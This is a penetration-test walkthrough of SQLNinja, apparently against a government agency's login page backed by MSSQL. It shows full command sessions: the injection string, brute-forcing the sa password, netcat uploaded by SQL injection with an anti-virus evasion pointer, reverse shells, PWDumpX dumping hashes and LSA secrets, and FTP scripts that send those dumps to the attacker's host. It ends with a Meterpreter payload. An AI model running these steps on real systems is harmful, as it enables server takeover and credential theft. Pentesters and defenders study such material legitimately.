SQLNINJA

From the site:

> Sqlninja is a tool targeted to exploit SQL Injection vulnerabilities on a web application that uses Microsoft SQL Server as its back-end. Its main goal is to provide a remote access on the vulnerable DB server, even in a very hostile environment. It should be used by penetration testers to help and automate the process of taking over a DB Server when a SQL Injection vulnerability has been discovered.

SQLNinja (http://sqlninja.sourceforge.net/index.html)
Demo (http://sqlninja.sourceforge.net/sqlninjademo.html)
Documentation (http://sqlninja.sourceforge.net/sqlninja-howto.html)

That more than sums up what the tool is used for. This document will go into the experiences I have had using the tool successfully during a penetration test. The results shown are real world examples with the sensitive information scrubbed to protect the innocent. This document will also deal with installation of SQLninja on an Ubuntu 8.04 LTS Hardy Heron System.

SQLNinja is a perl script that requires a number of perl libraries to function properly. I installed these libraries using CPAN (www.cpan.org). The use of CPAN is outside the scope of this document.

```
#perl –MCPAN –e 'install NetPacket'
#apt-get install libpcap0.8 libpcap0.8-dev
#perl –MCPAN –e 'install Net::Pcap'
#perl –MCPAN –e 'install Net::DNS'
#perl –MCPAN –e 'install Net::RawIP'
#perl –MCPAN –e 'install IO::Socket::SSL'

#wget http://downloads.sourceforge.net/sqlninja/sqlninja-0.2.3-r1.tgz
#tar zxvf sqlninja-0.2.3-r1.tgz
#cd sqlninja-0.2.3-r1
```

First thing you will want to do is run a test against your target. If you do not have a sqlninja.conf file from a previous test in the folder you will be asked for informtion regarding the target to create the configuration file so an attack can be conducted.

```
root@edge-linuxpen:~/sqlninja-0.2.3-r1# ./sqlninja -m test
Sqlninja rel. 0.2.3-r1
Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net>
[-] sqlninja.conf does not exist. You want to create it now ? [y/n]
> y
[+] Creating a new configuration file. Keep in mind that only basic options
    will be generated, and that the file should be manually edited for
advanced
    options and fine tuning.

[1/10] Victim host (e.g.: www.victim.com):
> state.govt.agency.us

[2/10] Remote port [80]
> 443
```

```
[3/10] Use SSL (y/n/auto) [auto]
> y

[4/10] Method to use (GET/POST) [GET]
> POST

[5/10] Vulnerable page, including path and leading slash
(e.g.: /dir/target.asp)
> /APPLICATION/Folder/AuthenticationPage.asp

[6/10] Start of the exploit string. It must include the vulnerable parameter
and the character sequence that allows us to start injecting commands. In
general this means, at least:
 - an apostrophe (if the parameter is a string)
 - a semicolon (to end the original query)
It must also include everything necessary to properly close the original
query,
as an appropriate number of closing brackets. Don't forget to URL-encode,
where needed (e.g.: spaces).
For instance, if we consider the following TSQL command:
    exec master..xp_cmdshell 'dir c:\'
and the string to inject is the following:
    aaa=1&bbb=x';exec+master..xp_cmdshell+'dir+c:'
this parameter should look like this:
    aaa=1&bbb=x';
> Submit=Submit&Password=pwned&UserName=auditor'

[7/10] If you need to add some more parameters after the vulnerable one, put
them here (don't forget the leading "&" sign and to URL-encode where needed).
e.g.: &param3=aaa
>

[8/10]  Local host: your IP address (for backscan and revshell modes)
> 192.168.0.1

[9/10] Interface to sniff when in backscan mode
> eth0

[10/10] Evasion techniques. Possible choices are:
  1 - Query hex-encoding
  2 - Comments as separators
  3 - Random case
  4 - Random URI encoding
All techniques can be combined, so for instance you can enter "1234" (without
quotes). However, keep in mind that using too many techniques at once leads to
very long queries, that might create problems when using GET.
Default: 0 (no evasion)
>

[+] sqlninja.conf written successfully
[+] Parsing configuration file.................
[+] Target is: state.govt.agency.us
[+] Trying to inject a 'waitfor delay'....
[+] Injection was successful! Let's rock !! :)
```

In this particular instance the SQL Injection vulnerability is in the login page of the application. After you have confirmed that SQL Injection is possible and SQLNinja is configured correctly you can begin fingerprinting the backend database.

```
root@edge-linuxpen:~/sqlninja-0.2.3-r1# ./sqlninja -m fingerprint
Sqlninja rel. 0.2.3-r1
Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file.............
[+] Target is: state.govt.agency.us
What do you want to discover ?
  0 - Database version (2000/2005)
  1 - Database user
  2 - Database user rights
  3 - Whether xp_cmdshell is working
  4 - Whether mixed or Windows-only authentication is used
  a - All of the above
  h - Print this menu
  q - exit
> 0
[+] Checking SQL Server version...
  Target: Microsoft SQL Server 2000
> 1
[+] Checking whether we are sysadmin...
  No, we are not 'sa'.... :/
[+] Finding dbuser length...
  Got it ! Length = 11
[+] Now going for the characters........
  DB User is....: APPLICATION
> 2
[+] Checking whether user is member of sysadmin server role....
  You are not an administrator. If you tried escalating already, it might be
  that you are using old ODBC connections. Check the documentation
  for how to deal with this
> 3
[+] Checking whether xp_cmdshell is available
  xp_cmdshell doesn't seem to be available
> 4
  Mixed authentication seems to be used
> q
```

We are not the sa (MSSQL Administrator) user but instead are the user APPLICATION and do not have administrative rights on the database. Please see another tutorial I have created for the SQL Injection tool automagic on how to extract the data from the database with the user APPLICATION. The fact that the database uses Mixed authentication mode allows us to conduct a dictionary attack to identify the sa password.

```
root@edge-linuxpen:~/sqlninja-0.2.3-r1# ./sqlninja -v -m bruteforce -w
pass.txt
Sqlninja rel. 0.2.3-r1
Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file.............
  - Host: state.govt.agency.us
  - Port: 443
  - SSL: yes
  - method: POST
```

```
  - page: /APPLICATION/Folder/AuthenticationPage.asp
  - stringstart: Submit=Submit&Password=pwned&UserName=auditor'
  - stringend:
  - local host: 192.168.0.1
  - sniff device: eth0
  - domain: sqlninja.net
[v] SSL connection forced
[+] Target is: state.govt.agency.us
[+] Wordlist has been specified: using dictionary-based bruteforce
  Number of concurrent processes  [min:1 max:10 default:3]
> 1
  [v] Creating UNIX socket for children messages
  [v] Launching children processes
[+] Bruteforcing the sa password. This might take a while
  dba password is...: servername
bruteforce took 60 seconds
[+] Trying to add current user to sysadmin group
[+] Done! New connections will be run with administrative privileges! In case
    the server uses ODBC, you might have to wait a little bit
    (check sqlninja-howto.html)
```

As you can see from the results the sa password was the name of the server. Tisk, tisk… SQLninja does not have a check for the name of the server you are attacking. I obtained this by running a manual query against the application.

```
' and 1 in (select @@servername)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'SERVERNAME' to a column of data type int.
/APPLICATION/Folder/AuthenticationPage.asp, line 36
```

We will run the fingerprint option again to confirm that we are a database administrative user and to see if xp_cmdshell is enabled.

```
root@edge-linuxpen:~/sqlninja-0.2.3-r1# ./sqlninja -m fingerprint
Sqlninja rel. 0.2.3-r1
Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file.............
[+] Target is: state.govt.agency.us
What do you want to discover ?
  0 - Database version (2000/2005)
  1 - Database user
  2 - Database user rights
  3 - Whether xp_cmdshell is working
  4 - Whether mixed or Windows-only authentication is used
  a - All of the above
  h - Print this menu
  q - exit
> 2
[+] Checking whether user is member of sysadmin server role....
  You are an administrator !
> 3
[+] Checking whether xp_cmdshell is available
  xp_cmdshell seems to be available :)
```

```
> q
```

We are a database administrator and xp_cmdshell is available as is the default for Microsoft SQL Server 2000. Using the SQL Injection vulnerability and xp_cmdshell we can upload a file provided by SQLNinja. The file provided is NetCat (nc.exe as nc.scr) that has been pre-parsed by a provided perl script so that it can be uploaded line by line by the sql injection vulnerability. Once uploaded the NetCat program is put back together by the debug.exe command found on the host.

```
root@edge-linuxpen:~/sqlninja-0.2.3-r1# ./sqlninja -m upload
Sqlninja rel. 0.2.3-r1
Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file..............
[+] Target is: state.govt.agency.us
  File to upload:
  shortcuts: 1=scripts/nc.scr 2=scripts/dnstun.scr
> 1
[+] Uploading scripts/nc.scr debug script............
1540/1540 lines written
done !
[+] Converting script to executable... might take a while
[+] Checking whether nc.exe is there...
[+] nc.exe seems to be there...  enjoy! :)
```

The database server did not have anti-virus software installed so the upload of NetCat was successful. However, if the server did have anti-virus installed there is a document that can be found online on how to take back NetCat (www.packetstormsecurity.org/papers/virus/Taking_Back_Netcat.pdf). You can take your modified NetCat executable and create the necessary script to be uploaded by SQLNinja using a perl script provided with the utility. That script, makescr.pl, found in the root of the SQLNinja folder takes the exe and produces the proper scr file that can be uploaded by the SQL Injection vulnerability and put back to the original exe on the host using the debug.exe command.

```
root@edge-linuxpen:~/sqlninja-0.2.3-r1# ./makescr.pl
sqlninja debug script generator
Copyright (C) 2008 icesurfer <r00t@northernfortress.net>

Usage: ./makescr.pl -i <input file> [-o <output file>]

root@edge-linuxpen:~/sqlninja-0.2.3-r1# ./makescr.pl -i nc.edge.exe -o nc.scr
sqlninja debug script generator
Copyright (C) 2008 icesurfer <r00t@northernfortress.net>

Debug script created successfully
root@edge-linuxpen:~/sqlninja-0.2.3-r1# mv scripts/nc.scr scripts/nc.scr.sv
root@edge-linuxpen:~/sqlninja-0.2.3-r1# mv nc.scr scripts
```

Just upload the new NetCat script. Once the script is uploaded you can then use the SQLNinja backscan option to find an open port that the SQL server communicates out to the internet with. However, for me this did not work so please rely on the demo found on the SQLNinja website for how the command works. I manually tried three of the most common ports that a server would communicate out to the internet with (udp 53, tcp 80, & tcp 443). We will now create a reverse shell back to our host.

```
root@edge-linuxpen:~/Desktop/sqlninja-0.2.3-r1# ./sqlninja -v -m revshell
```

```
Sqlninja rel. 0.2.3-r1
Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file.............
  - Host: state.govt.agency.us
  - Port: 443
  - SSL: yes
  - method: POST
  - page: /APPLICATION/Folder/AuthenticationPage.asp
  - stringstart: Submit=Submit&Password=pwned&UserName=auditor'
  - stringend:
  - local host: 192.168.0.1
  - sniff device: eth0
  - domain: sqlninja.net
[v] SSL connection forced
[+] Target is: state.govt.agency.us
  [v] Starting revshell module
Local port: 443
tcp/udp [default: tcp]: tcp
  [v] Starting listener process
  [v] Creating local listening tcp socket
[+] waiting for shell on port 443/tcp...
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>whoami
whoami
SERVERNAME\Administrator
```

You have successfully taken over the backend database server using a SQL Injection vulnerability found in a web application! Below is what I did to aquire the password hashes on the server so I can crack some passwords and hopefully dig further into the agency. The first thing we need to do is get the PWDumpX application uploaded to the server. I create the necessary scripts to be uploaded using the perl script provided.

```
root@edge-linuxpen:~/sqlninja-0.2.3-r1# ./makescr.pl -i PWDumpX.exe -o
PWDumpX.scr
sqlninja debug script generator
Copyright (C) 2008 icesurfer <r00t@northernfortress.net>

Debug script created successfully
root@edge-linuxpen:~/sqlninja-0.2.3-r1# mv PWDumpX.scr scripts
root@edge-linuxpen:~/sqlninja-0.2.3-r1# ./makescr.pl -i DumpSvc.exe -o
DumpSvc.scr
sqlninja debug script generator
Copyright (C) 2008 icesurfer <r00t@northernfortress.net>

Debug script created successfully
root@edge-linuxpen:~/sqlninja-0.2.3-r1# mv DumpSvc.scr scripts
root@edge-linuxpen:~/sqlninja-0.2.3-r1# ./makescr.pl -i DumpExt.dll -o
DumpExt.scr
sqlninja debug script generator
Copyright (C) 2008 icesurfer <r00t@northernfortress.net>

Debug script created successfully
root@edge-linuxpen:~/sqlninja-0.2.3-r1# mv DumpExt.scr scripts
```

I then upload them using SQLNinja

```
root@edge-linuxpen:~/sqlninja-0.2.3-r1# ./sqlninja -v -m upload
Sqlninja rel. 0.2.3-r1
Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file.............
  - Host: state.govt.agency.us
  - Port: 443
  - SSL: yes
  - method: POST
  - page: /APPLICATION/Folder/AuthenticationPage.asp
  - stringstart: Submit=Submit&Password=pwned&UserName=auditor'
  - stringend:
  - local host: 192.168.0.1
  - sniff device: eth0
  - domain: sqlninja.net
[v] SSL connection forced
[+] Target is: state.govt.agency.us
  File to upload:
  shortcuts: 1=scripts/nc.scr 2=scripts/dnstun.scr
> scripts/DumpSvc.scr
  [v] Starting upload module
  [v] Deleting any previous instance of the file...
[+] Uploading scripts/DumpSvc.scr debug script...........
688/31[-] Warning... the server responded with HTTP/1.1 500 Internal Server
Error
    Check configuration, as things might not be working as expected !
3184/3184 lines written
done !
[v] Checking number of uploaded lines
[v] DumpSvc.scr seems to have been properly uploaded
[+] Converting script to executable... might take a while
[v] Removing the original scr file
[+] Checking whether DumpSvc.exe is there...
[+] DumpSvc.exe seems to be there...  enjoy! :)
root@edge-linuxpen:~/sqlninja-0.2.3-r1# ./sqlninja -v -m upload
Sqlninja rel. 0.2.3-r1
Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file.............
  - Host: state.govt.agency.us
  - Port: 443
  - SSL: yes
  - method: POST
  - page: /APPLICATION/Folder/AuthenticationPage.asp
  - stringstart: Submit=Submit&Password=pwned&UserName=auditor'
  - stringend:
  - local host: 192.168.0.1
  - sniff device: eth0
  - domain: sqlninja.net
[v] SSL connection forced
[+] Target is: state.govt.agency.us
  File to upload:
  shortcuts: 1=scripts/nc.scr 2=scripts/dnstun.scr
> scripts/PWDumpX.scr
  [v] Starting upload module
  [v] Deleting any previous instance of the file...
```

```
[+] Uploading scripts/PWDumpX.scr debug script.....
3990/3990 lines written
done !
[v] Checking number of uploaded lines
[v] PWDumpX.scr seems to have been properly uploaded
[+] Converting script to executable... might take a while
[v] Removing the original scr file
[+] Checking whether PWDumpX.exe is there...
[+] PWDumpX.exe seems to be there...  enjoy! :)
root@edge-linuxpen:~/sqlninja-0.2.3-r1# ./sqlninja -v -m upload
Sqlninja rel. 0.2.3-r1
Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file.............
  - Host: state.govt.agency.us
  - Port: 443
  - SSL: yes
  - method: POST
  - page: /APPLICATION/Folder/AuthenticationPage.asp
  - stringstart: Submit=Submit&Password=pwned&UserName=auditor'
  - stringend:
  - local host: 192.168.0.1
  - sniff device: eth0
  - domain: sqlninja.net
[v] SSL connection forced
[+] Target is: state.govt.agency.us
  File to upload:
  shortcuts: 1=scripts/nc.scr 2=scripts/dnstun.scr
> scripts/DumpExt.scr
  [v] Starting upload module
  [v] Deleting any previous instance of the file...
[+] Uploading scripts/DumpExt.scr debug script.....
3729/3729 lines written
done !
[v] Checking number of uploaded lines
[v] DumpExt.scr seems to have been properly uploaded
[+] Converting script to executable... might take a while
[v] Removing the original scr file
[+] Checking whether DumpExt.exe is there...
[+] DumpExt.exe seems to be there...  enjoy! :)
```

Once the files are uploaded I create a reverse shell connection, rename DumpExt.exe to DumpExt.dll and run PWDumpX. Note, all files uploaded by SQLNinja are placed in the %TEMP% directory.

```
C:\WINNT\system32>cd %TEMP%
cd %TEMP%

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0000-0001

 Directory of C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp

05/28/2009  07:03a      <DIR>          .
05/28/2009  07:03a      <DIR>          ..
```

```
05/28/2009  07:03a              37,384 DumpExt.exe
05/28/2009  07:01a              24,400 DumpSvc.exe
05/27/2009  03:03p              30,720 nc.exe
05/28/2009  07:03a              32,813 PWDumpX.exe
               x File(s)        xxx,xxx bytes
               x Dir(s)   x,xxx,xxx,xxx bytes free


C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp>move DumpExt.exe DumpExt.dll
move DumpExt.exe DumpExt.dll

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp>pwdumpx
pwdumpx
PWDumpX v1.4 | http://reedarvin.thearvins.com/

Usage: PWDumpX [-clph] <hostname | ip input file> <username> <password>

[-clph]                     -- optional argument
<hostname | ip input file>  -- required argument
<username>                  -- required argument
<password>                  -- required argument

-c  -- Dump Password Cache
-l  -- Dump LSA Secrets
-p  -- Dump Password Hashes
-h  -- Dump Password History Hashes

If the <username> and <password> arguments are both plus signs (+), the
existing credentials of the user running this utility will be used.

Examples:
PWDumpX 10.10.10.10 + +
PWDumpX 10.10.10.10 administrator password

PWDumpX -lp MyWindowsMachine + +
PWDumpX -lp MyWindowsMachine administrator password

PWDumpX -clph IPInputFile.txt + +
PWDumpX -clph IPInputFile.txt administrator password

(Written by Reed Arvin | reedarvin@gmail.com)

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp>pwdumpx -clph 127.0.0.1 + +
pwdumpx -clph 127.0.0.1 + +
Running PWDumpX v1.4 with the following arguments:
[+] Host Input:   "127.0.0.1"
[+] Username:     "+"
[+] Password:     "+"
[+] Arguments:    "-clph"
[+] # of Threads: "64"

Waiting for PWDumpX service to terminate on host 127.0.0.1.

Retrieved file 127.0.0.1-PWCache.txt
Retrieved file 127.0.0.1-LSASecrets.txt
Retrieved file 127.0.0.1-PWHashes.txt
Retrieved file 127.0.0.1-PWHistoryHashes.txt
```

At this point the text files are created and I just print them to the screen using to more command to copy and past the text to my laptop.

Advanced Techniques

While I had access I documented additional ways that SQLNinja can be used to control a backend database server through SQL Injection. I also documented easier ways to upload PWDumpX without having to resort to using SQLNinja.

Below we create an FTP script and use it to connect to an FTP server we control. We GET the PWDumpX program, run it, and PUT the output to our machine. Configuring an FTP server is outside the scope of this document.

```
root@edge-linuxpen:~/sqlninja-0.2.3-r1# ./sqlninja -m revshell
Sqlninja rel. 0.2.3-r1
Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file.............
[+] Target is: state.govt.agency.us
Local port: 80
tcp/udp [default: tcp]: tcp
[+] waiting for shell on port 80/tcp...
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>cd\
cd\

C:\>echo OPEN 192.168.0.1 >> ftp.txt
echo OPEN 192.168.0.1 >> ftp.txt

C:\>echo bin >> ftp.txt
echo bin >> ftp.txt

C:\>echo GET PWDumpX.exe >> ftp.txt
echo GET PWDumpX.exe >> ftp.txt

C:\>echo GET DumpSvc.exe >> ftp.txt
echo GET DumpSvc.exe >> ftp.txt

C:\>echo GET DumpExt.dll >> ftp.txt
echo GET DumpExt.dll >> ftp.txt

C:\>echo bye >> ftp.txt
echo bye >> ftp.txt

C:\>ftp -A -s:ftp.txt
ftp -A -s:ftp.txt
```

```
Anonymous login succeeded for Administrator@servername.state.govt.agency.us
OPEN 192.168.0.1

bin
GET PWDumpX.exe
GET DumpSvc.exe
GET DumpExt.dll
bye

C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0000-0001

 Directory of C:\

02/09/2009  05:16p      <DIR>          Documents and Settings
05/29/2009  10:41a              37,384 DumpExt.dll
05/29/2009  10:41a              24,400 DumpSvc.exe
05/29/2009  10:35a                 115 ftp.txt
05/27/2009  08:37a      <DIR>          Program Files
05/29/2009  10:41a              32,813 PWDumpX.exe
11/16/2005  08:25a      <DIR>          Temp
05/27/2009  08:37a      <DIR>          WINNT
               x File(s)        xxx,xxx bytes
               x Dir(s)   x,xxx,xxx,xxx bytes free



C:\>PWDumpX.exe -clph 127.0.0.1 + +
PWDumpX.exe -clph 127.0.0.1 + +
Running PWDumpX v1.4 with the following arguments:
[+] Host Input:   "127.0.0.1"
[+] Username:     "+"
[+] Password:     "+"
[+] Arguments:    "-clph"
[+] # of Threads: "64"

Waiting for PWDumpX service to terminate on host 127.0.0.1.

Retrieved file 127.0.0.1-PWCache.txt
Retrieved file 127.0.0.1-LSASecrets.txt
Retrieved file 127.0.0.1-PWHashes.txt
Retrieved file 127.0.0.1-PWHistoryHashes.txt

C:\>del ftp.txt
del ftp.txt

C:\>echo OPEN 192.168.0.1 >> ftp.txt
echo OPEN 192.168.0.1 >> ftp.txt

C:\>echo CD files >> ftp.txt
echo CD files >> ftp.txt

C:\>echo PUT 127.0.0.1-PWCache.txt >> ftp.txt
echo PUT 127.0.0.1-PWCache.txt >> ftp.txt
```

```
C:\>echo PUT 127.0.0.1-LSASecrets.txt >> ftp.txt
echo PUT 127.0.0.1-LSASecrets.txt >> ftp.txt

C:\>echo PUT 127.0.0.1-PWHashes.txt >> ftp.txt
echo PUT 127.0.0.1-PWHashes.txt >> ftp.txt

C:\>echo PUT 127.0.0.1-PWHistoryHashes.txt >> ftp.txt
echo PUT 127.0.0.1-PWHistoryHashes.txt >> ftp.txt

C:\>echo bye >> ftp.txt
echo bye >> ftp.txt

C:\>ftp -A -s:ftp.txt
ftp -A -s:ftp.txt
Anonymous login succeeded for Administrator@servername.state.govt.agency.us
OPEN 192.168.0.1
CD files
PUT 127.0.0.1-PWCache.txt
PUT 127.0.0.1-LSASecrets.txt
PUT 127.0.0.1-PWHashes.txt
PUT 127.0.0.1-PWHistoryHashes.txt
bye

C:\>
```

Metasploit

The documentation for the metasploit option of SQLNinja explains what the utility does to include metatsploit functionality. Please read it here (http://sqlninja.sourceforge.net/sqlninja-howto.html#ss2.11).

NOTE: When using SQLNinja to upload and launch the Metasploit payload I noticed that the SQL Injection command to run the uploaded payload would take place before Metaploit had enough time to load. I have no idea if Metasploit takes a while to load on other users systems but in case it does I modified the SQLNinja code to allow more time to go by before the SQL Injection command to execute the payload is sent. Lines 3301-3305 of sqlninja contain an if statement with some delay variables. I just changed them from 5 to 25 allowing enough time for Metasploit to load when it is called by the script.

```
root@edge-linuxpen:~/sqlninja-0.2.3-r1# ./sqlninja -v -m metasploit
Sqlninja rel. 0.2.3-r1
Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file.............
  - Host: state.govt.agency.us
  - Port: 443
  - SSL: yes
  - method: POST
  - page: /TAADRA/Non_Compliance_Entry/TAADRALoginResp.asp
  - stringstart: Submit=Submit&Password=pwned&UserName=auditor'
  - stringend:
  - local host: 192.168.0.1
  - sniff device: eth0
  - domain: sqlninja.net
[v] SSL connection forced
```

```
[+] Target is: state.govt.agency.us
[+] Entering Metasploit module. In order to use this module you need to
    have found an available TCP port, either inbound or outbound
[+] Checking Metasploit3 availability....
[+] Which payload you want to use?
    1: Meterpreter
    2: VNC
> 1
[+] Which type of connection you want to use?
    1: bind_tcp
    2: reverse_tcp
> 2
[+] Enter local port number
> 443
[+] Choose a payload encoding method
    0 - none
    1 - Alpha2 Alphanumeric Mixedcase
    2 - Alpha2 Alphanumeric Uppercase
    3 - Avoid UTF8/tolower
    4 - Call+4 Dword XOR
    5 - Single-byte XOR Countdown
    6 - Variable-length Fnstenv/mov Dword XOR
    7 - Polymorphic Jump/Call XOR Additive Feedback
    8 - Non-Alpha
    9 - Non-Upper
   10 - Polymorphic XOR Additive Feedback
   11 - Alpha2 Alphanumeric Unicode Mixedcase
   12 - Alpha2 Alphanumeric Unicode Uppercase
> 0
[v] Command: /home/edge/trunk/msfpayload windows/meterpreter/reverse_tcp
exitfunc=process lport=443 lhost=192.168.0.1 X > /tmp/met5190.exe
[+] Calling msfpayload3 to create the payload...
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 278
Options: exitfunc=process,lport=443,lhost=192.168.0.1
[+] Payload (met5190.exe) created. Now converting it to debug script
  [v] Starting upload module
  [v] Deleting any previous instance of the file...
[+] Uploading /tmp/met5190.scr debug script............
113/113 lines written
done !
[v] Checking number of uploaded lines
[v] met5190.scr seems to have been properly uploaded
[+] Converting script to executable... might take a while
[v] Removing the original scr file
[+] Checking whether met5190.exe is there...
[+] met5190.exe seems to be there...  enjoy! :)
[+] Checking if DEP (Data Execution Prevention) is enabled on target
[+] No DEP detected.... good
[v] Executing: /home/edge/trunk/msfcli multi/handler
payload=windows/meterpreter/reverse_tcp lport=443 lhost=192.168.0.1 E
[+] Transferring control to msfcli. Have fun!

[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
```

```
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.0.1:443 -> xxx.xxx.xxx.xxx:24785)

meterpreter >
meterpreter > upload /home/edge/downloads/pwdumpx/DumpExt.dll c:\
[*] uploading  : /home/edge/downloads/pwdumpx/DumpExt.dll -> c:\
[*] uploaded   : /home/edge/downloads/pwdumpx/DumpExt.dll -> c:\\DumpExt.dll
meterpreter > /home/edge/downloads/pwdumpx/DumpSvc.exe c:\
[-] Unknown command: /home/edge/downloads/pwdumpx/DumpSvc.exe.
meterpreter > upload /home/edge/downloads/pwdumpx/DumpSvc.exe c:\
[*] uploading  : /home/edge/downloads/pwdumpx/DumpSvc.exe -> c:\
[*] uploaded   : /home/edge/downloads/pwdumpx/DumpSvc.exe -> c:\\DumpSvc.exe
meterpreter > upload /home/edge/downloads/pwdumpx/PWDumpX.exe c:\
[*] uploading  : /home/edge/downloads/pwdumpx/PWDumpX.exe -> c:\
[*] uploaded   : /home/edge/downloads/pwdumpx/PWDumpX.exe -> c:\\PWDumpX.exe
meterpreter > execute -f cmd -c
Process 9428 created.
Channel 8 created.
meterpreter > interact 8
Interacting with channel 8...

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>cd\
cd\

C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0000-0001

 Directory of C:\

02/09/2009  05:16p      <DIR>          Documents and Settings
05/29/2009  06:49a              37,384 DumpExt.dll
05/29/2009  06:49a              24,400 DumpSvc.exe
05/27/2009  08:37a      <DIR>          Program Files
05/29/2009  06:49a              32,813 PWDumpX.exe
11/16/2005  08:25a      <DIR>          Temp
05/27/2009  08:37a      <DIR>          WINNT
              xx File(s)      x,xxx,xxx bytes
               x Dir(s)   x,xxx,xxx,xxxx bytes free

C:\>pwdumpx -clph 127.0.0.1 + +
pwdumpx -clph 127.0.0.1 + +
Running PWDumpX v1.4 with the following arguments:
[+] Host Input:   "127.0.0.1"
[+] Username:     "+"
[+] Password:     "+"
[+] Arguments:    "-clph"
[+] # of Threads: "64"
```

```
Waiting for PWDumpX service to terminate on host 127.0.0.1..

Retrieved file 127.0.0.1-PWCache.txt
Retrieved file 127.0.0.1-LSASecrets.txt
Retrieved file 127.0.0.1-PWHashes.txt
Retrieved file 127.0.0.1-PWHistoryHashes.txt

C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0000-0001

 Directory of C:\

05/29/2009  06:51a               6,438 127.0.0.1-LSASecrets.txt
05/29/2009  06:51a                 451 127.0.0.1-PWCache.txt
05/29/2009  06:51a                 867 127.0.0.1-PWHashes.txt
05/29/2009  06:51a                 867 127.0.0.1-PWHistoryHashes.txt
02/09/2009  05:16p      <DIR>          Documents and Settings
05/29/2009  06:49a              37,384 DumpExt.dll
05/29/2009  06:49a              24,400 DumpSvc.exe
05/27/2009  08:37a      <DIR>          Program Files
05/29/2009  06:49a              32,813 PWDumpX.exe
11/16/2005  08:25a      <DIR>          Temp
05/27/2009  08:37a      <DIR>          WINNT
              xx File(s)      x,xxx,xxx bytes
               x Dir(s)   x,xxx,xxx,xxx bytes free

C:\>exit
exit
meterpreter > download c:\\127.0.0.1-LSASecrets.txt 127.0.0.1-LSASecrets.txt
[*] downloading: c:\127.0.0.1-LSASecrets.txt -> 127.0.0.1-LSASecrets.txt
[*] downloaded : c:\127.0.0.1-LSASecrets.txt -> 127.0.0.1-LSASecrets.txt
meterpreter > download c:\\127.0.0.1-PWCache.txt 127.0.0.1-PWCache.txt
[*] downloading: c:\127.0.0.1-PWCache.txt -> 127.0.0.1-PWCache.txt
[*] downloaded : c:\127.0.0.1-PWCache.txt -> 127.0.0.1-PWCache.txt
meterpreter > download c:\\127.0.0.1-PWHistoryHashes.txt 127.0.0.1-
PWHistoryHashes.txt
[*] downloading: c:\127.0.0.1-PWHistoryHashes.txt -> 127.0.0.1-
PWHistoryHashes.txt
[*] downloaded : c:\127.0.0.1-PWHistoryHashes.txt -> 127.0.0.1-
PWHistoryHashes.txt
meterpreter >
```

The VNC payload option looks awesome. You can view the demo (http://sqlninja.sourceforge.net/sqlninjademo.html) from the sqlninja website to see it in action. It worked for me but also didn't work for me. The VNC payload was uploaded and launched successfully but once the VNC window opened all I saw was a black screen and a mouse pointer. My guess is the connection was too slow to register the mouse movements and screen refresh. Your mileage will I'm vary (and hopefully be more successful).